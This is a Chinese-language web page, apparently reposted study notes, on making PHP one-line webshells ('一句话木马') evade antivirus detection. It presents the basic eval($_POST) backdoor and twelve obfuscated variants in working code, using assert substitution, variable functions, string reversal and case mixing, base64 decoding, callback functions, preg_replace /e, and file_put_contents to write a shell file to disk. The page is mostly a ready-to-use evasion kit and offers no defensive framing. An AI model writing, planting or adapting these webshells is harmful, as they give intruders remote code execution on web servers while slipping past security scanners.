1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > PHP一句话木马免杀学习

PHP一句话木马免杀学习

时间:2022-09-04 13:57:06

相关推荐

PHP一句话木马免杀学习

PHP一句话木马免杀学习

简单了解php一句话木马原理

<?php @eval($_POST['shell']);?>

首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。

将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

一句话木马的变形

常用变形函数convert_uudecode() #解码一个 uuencode 编码的字符串。convert_uuencode() #使用 uuencode 编码一个字符串。ucwords() #函数把字符串中每个单词的首字符转换为大写。strrev () #反转字符串trim() #函数从字符串的两端删除空白字符和其他预定义字符。substr_replace() #函数把字符串的一部分替换为另一个字符串substr() #函数返回字符串的一部分。strtr() #函数转换字符串中特定的字符。strtoupper() #函数把字符串转换为大写。strtolower() #函数把字符串转换为小写。implode() #将一个一维数组的值转化为字符串。str_rot13() #函数对字符串执行 ROT13 编码。<?php// 使用 uuencode 编码一个字符串$a=convert_uuencode("assert");$b=convert_uudecode($a);$b($_POST["shell"]);?>

1.相同功能函数替换

例如使用assert函数。assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

<?php assert(@$_POST['shell']); ?>

2.使用变量

使用变量函数$a,变量储存了函数名assert,便可以直接用变量替代函数名。<?php $a = "assert";$a(@$_POST['shell']); ?>php可变变量<?php$b = "assert";$a = 'b';$$a($_POST['hacker']);?>

3.使用字符串拼接、大小写混淆、字符串逆序组合

使用大小写混淆配合字符串转小写函数strtolower组合而成<?php $a="AssERT"; $b=strtolower($a);函数把字符串转换为小写@$b($_POST['shell']); ?>使用字符串拼接、大小写混淆、字符串逆序组合而成<?php $a="TR"."Es"."sA"; $b=strtolower($a);#函数把字符串转换为小写$c=strrev($b);#反转字符串@$c($_POST['shell']); ?>

4.自定义函数

create_function函数把用户传递的数据生成一个函数fun(),然后再执行fun()<?php$fun = create_function('',$_POST['shell']);$fun();?>

5.回调函数

回调函数可以调用其它函数,被调用的函数是回调的第一个函数,被调用的函数的参数是回调的第二个参数。这样的一个语句也可以完成一句话木马。常见回调函数call_user_func_array()call_user_func()array_filter() array_walk() array_map()registregister_shutdown_function()register_tick_function()filter_var() filter_var_array() uasort() uksort() array_reduce()array_walk() array_walk_recursive()例如<?php forward_static_call_array(assert,array($_POST["shell"]));?><?php@call_user_func(assert,$_POST['a']);?>

6.str_replace函数

此函数作用是:在第三个参数中查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除“b”。<?php$a = str_replace("b", "", "absbsbebrbt");$a($_POST['hacker']);?>

7.base64_decode函数编码绕过

base64解密函数,"ZXZhbA=="是eval的base64加密。<?php$a=base64_decode("ZXZhbA==")$a($_POST['a']);?>

8.parse_str函数

执行这个函数后,生成一个变量$a,值为字符串"eval"<?php$str="a=eval";parse_str($str);$a($_POST['a']);?>

9.preg_replace 函数

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。<?phpfunction fun(){return $_POST['a'];}@preg_replace("/test/e",fun(),"test test test");?>

10."."操作符

<?php$a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?>

11.file_put_contents函数

利用函数生成木马生成一个文件,第一个参数是文件名,第二个参数是文件的内容。<?php$test='<?php $a=$_POST["shell"];assert($a); ?>';file_put_contents("shell.php", $test);?>

12.通过PHP的动态函数

<?php$a = 'assert';$b = '_POST';$a($$b['shell']); //assert($_POST['shell']);?>

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。